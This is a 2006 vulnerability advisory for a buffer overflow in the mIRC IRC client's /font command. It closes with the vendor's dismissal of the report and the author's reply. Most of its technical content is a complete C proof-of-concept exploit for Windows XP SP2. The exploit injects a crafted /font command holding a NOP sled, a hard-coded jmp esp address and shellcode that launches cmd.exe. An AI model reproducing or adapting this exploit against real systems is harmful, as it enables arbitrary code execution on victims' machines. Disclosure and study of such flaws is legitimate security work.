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Buffer Overflow /Font on mIRC

Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

- 1 - Introduction Written by Khaled Mardam-Bey, mIRC is a friendly IRC client that is well equipped with options and tools. - 2 - Vulnerability description This bug was discovered by a friend (Racy) , with the command exposed by Racy only hung mIRC, but after debugging and testing, I discover that allow code execution. Racy use this command /font -z $readini(c:\a\a.ini,aaaaaaa ,aaaa) $readini(c:\a\a.ini,aaaaaaa ,aaaa) , in both cases return null and crash, if the first parameter it's null and the second a long string can overwrite the EIP and execute code, with user privileges, DON'T ELEVATE PRIVILEGES. - 3 - How to exploit it This PoC open a cmd.exe,also it's possible execute any other code. ----------- CUT HERE ---------------------- /* mircfontexploitXPSP2.c This PoC it's for XP SP2 English Special thanks to Racy from irc-hispano */ #include <stdio.h> #include <stdlib.h> #include <windows.h> int main () { HWND lHandle; char command[512]= "/font -z $null"; char strClass[30]; char buffer[128]= "\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char shellcode[999]= "\x55" "\x8B\xEC" "\x33\xFF" "\x57" "\x83\xEC\x04" "\xC6\x45\xF8\x63" "\xC6\x45\xF9\x6D" "\xC6\x45\xFA\x64" "\xC6\x45\xFB\x2E" "\xC6\x45\xFC\x65" "\xC6\x45\xFD\x78" "\xC6\x45\xFE\x65" "\x8D\x45\xF8" "\x50" "\xBB\xc7\x93\xc2\x77" "\xFF\xD3"; //Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7 (WinXP Sp2 English) char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6 (advapi32.dll) SetForegroundWindow(lHandle); lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC", NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit ", 0); if (!lHandle) { printf("Can't find mIRC\n"); return 0; } strcat(buffer,saltaoffset); strcat(buffer,shellcode); strcat(command,buffer); printf("mIRC Font Command Exploit: %s\n", command); SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command); SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0); } ----------- CUT HERE ---------------------- - 4 - Solution Khaled contacted with me about the latest advisory, he says don't have any bug, any vulnerability. This is the solution of Khaled: "as far as I can tell, this is neither an exploit nor a vulnerability. The above report describes a local bug in mIRC. The author of the report indicates that any malicious software on your computer can modify your mIRC settings to cause mIRC to crash. But if you have malicious software on your computer, you've already compromised your security..." I post a response in the messageboard in mIRC forum, telling that a exploit isn't a malicious software alone, isn't a trojan or virus, and if a application it's secure, it's impossibly to execute any code, the user don't compromise the machine if download a exploit, the machine it's compromised if the program it's vulnerable to the exploit, but Khaled delete it and close the thread. More info: http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129 - 5 - Credits URL Vendor: www.mirc.com Author: Jordi Corrales ( crowdat[at]gmail.com ) Date: 24/01/2006 Racy post on messageboard: http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Board=bugreports&Number=118751 Spanish Advisory and Compiled Spanish Exploit: http://cyruxnet.org/archivo.php?20060121.00

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